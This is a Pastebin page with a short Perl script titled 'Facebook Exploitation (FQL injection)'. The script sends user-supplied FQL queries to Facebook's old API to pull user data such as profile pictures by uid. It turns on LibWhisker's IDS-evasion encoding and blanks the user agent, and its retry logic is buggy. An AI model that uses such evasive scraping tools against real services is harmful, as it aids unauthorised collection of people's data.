MLT

Perl - Facebook Exploitation (FQL injection)

MLT
Nov 10th, 2013
620
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.94 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use warnings;
  3. use XML::Simple;
  4. use LW2;
  5. use Getopt::Std;
  6. my %opts;
  7. getopts('q:',\%opts);
  8. my $query = $opts{q} if defined $opts{q};
  9. $query = "SELECT pic_big FROM user WHERE uid=6666666" unless defined $opts{q};
  10. my $ref = fqlQuery($query);
  11. foreach my $parent (sort keys %{$ref}) {
  12.     if (%{$ref->{$parent}}) {
  13.         print "$parent: \n";
  14.         foreach my $key (sort keys %{$ref->{$parent}}) {
  15.             if (%{$ref->{$parent}->{$key}}) {
  16.            print "\t$key : \n";
  17.                foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {
  18.                    print "\t\t$mojo : ";
  19.                    print $ref->{$parent}->{$key}->{$mojo};
  20.            print "\n";
  21.            }
  22.             } else {   print "\t$key : ";
  23.                print $ref->{$parent}->{$key};
  24.                print "\n";
  25.             }
  26.         }
  27.     } else {
  28.         print "$parent : " . $ref->{$parent} . "\n";
  29.     }
  30. }
  31. sub fqlQuery {
  32.     my $q = shift;
  33.     $q =~ s/ /%20/g;
  34.     my $link = "http://api.facebook.com/method/fql.query?query=$q";
  35.     my $text = download($link,"api.facebook.com");
  36.     my $ref  = XMLin($text);
  37.     return($ref);
  38. }
  39. sub download
  40. {
  41.     my $uri = shift;
  42.     my $try = 5;
  43.     my $host = shift;
  44.     my %request;
  45.     my %response;
  46.     LW2::http_init_request(\%request);
  47.     $request{'whisker'}->{'method'} = "GET";
  48.     $request{'whisker'}->{'host'} = $host;
  49.     $request{'whisker'}->{'uri'} = $uri;
  50.     $request{'whisker'}->{'encode_anti_ids'} = 9;
  51.     $request{'whisker'}->{'user-agent'} = "";
  52.     LW2::http_fixup_request(\%request);
  53.     if(LW2::http_do_request(\%request, \%response)) {
  54.         if($try < 5) {
  55.             print "Failed to fetch $uri on try $try. Retrying...\n";
  56.             return undef if(!download($uri, $try++));
  57.         }
  58.         print "Failed to fetch $uri.\n";
  59.         return undef;
  60.     } else {
  61.         return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
  62.     }
  63. }
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment